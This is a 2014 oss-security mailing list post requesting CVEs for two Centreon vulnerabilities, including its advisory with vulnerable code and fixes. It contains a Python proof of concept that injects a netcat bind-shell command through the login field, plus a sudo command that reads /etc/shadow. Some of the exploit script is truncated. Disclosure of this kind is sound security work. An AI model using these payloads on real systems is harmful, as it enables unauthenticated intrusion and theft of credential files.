Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 28 Nov 2014 08:53:01 +0100
From: Damien Cauquil <>
Subject: CVE Request: Multiple vulnerabilities in Centreon <= 2.5.3

We found two vulnerabilities in Centreon <= 2.5.3:

1. Unauthenticated remote command execution

This vulnerability allows an unauthenticated user to execute arbitrary
commands on the remote system.

2. Information disclosure (local)

A specific command-line utility allows local users to escalate
privileges and retrieve sensitive files on the system, such as
/etc/shadow. This vulnerability provides a root user access on files
(read only).

Vendor was notified and fixed the vulnerabilities.

List of related commits:


Our security advisory follows. We would like to request 2 CVEs for these

Unauthenticated Remote Command Execution in Centreon Web Interface


A critical vulnerability has been found in the Centreon logging class
allowing remote users to execute arbitrary commands.

SQL injection

Centreon logs SQL database errors in a log file using the "echo" system
command and the exec() PHP function. On the authentification class,
Centreon use htmlentities with the ENT_QUOTES options to filter SQL
However, Centreon doesn't filter the SQL escape character "\" and it is
possible to generate an SQL Error.
Because of the use of the "echo" system command with the PHP exec()
function, and because of the lack of sanitization, it is possible to
inject arbitrary system commands.

**Access Vector**: remote

**Security Risk**: high

Proof of Concept

TCP BindShell using netcat.

#!/usr/bin/env python
import requests
import argparse

def shell(target, bindport):
    print "[~] Starting bindshell on : %s - port : %d" % (target, bindport)
    req =, data={"useralias": "$(nc -lvp %d -e
/bin/sh)\\" % bindport, "password": "foo"})
    print("[+] Bye !")

if __name__ == "__main__":
    print "[~] Centreon Unauthentificated RCE - Nicolas Chatelain
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--bindport", required=True, type=int)
    args = parser.parse_args()
    shell(, args.bindport)

nightlydev@...rkstation ~/Lab/Centreon $ python
--target= --bindport 7777
[~] Centreon Unauthentificated RCE - Nicolas Chatelain
[~] Starting bindshell on : -
port : 7777

# Other term

nightlydev@...rkstation ~/Lab/Centreon $ nc 8888
apache centreon-engine centreon-broker centreon nagios

Vulnerable code

The vulnerable code is located in class/centreonLog.class.php, line 82
and line 154:

.. code-block:: php

		 * print Error in log file.
		exec("echo \"".$string."\" >> ".$this->errorType[$id]);

In class/centreonAuth.class.php, line 227:

.. code-block:: php

	 $DBRESULT = $this->pearDB->query("SELECT * FROM `contact` WHERE
`contact_alias` = '" . htmlentities($username, ENT_QUOTES, "UTF-8") . "'
AND `contact_activate` = '1' AND 		 `contact_register` = '1' LIMIT 1");


Use the fopen, fwrite and fclose functions to write log data.

Possible root password disclosure in centengine (Centreon Entreprise Server)

In some configurations, when centengine can run as root (with sudo).
It's possible to read some file content.

**Access Vector**: local

**Security Risk**: high

Proof of Concept

$ sudo /usr/sbin/centengine -v /etc/shadow
[1416391088] reading main config file
[1416391088] error while processing a config file: [/etc/shadow:1] bad
variable name:

Vulnerable code

In Centreon Entreprise Server (CES) : /etc/sudoers.d/centreon

CENTREON   ALL = NOPASSWD: /usr/sbin/centengine -v *


Do not allow centengine to be run as root or do not disclose the line
that caused the error.

Affected versions

* Centreon <= 2.5.3


* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


* Website:
* Twitter: @sysdream


Damien Cauquil

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.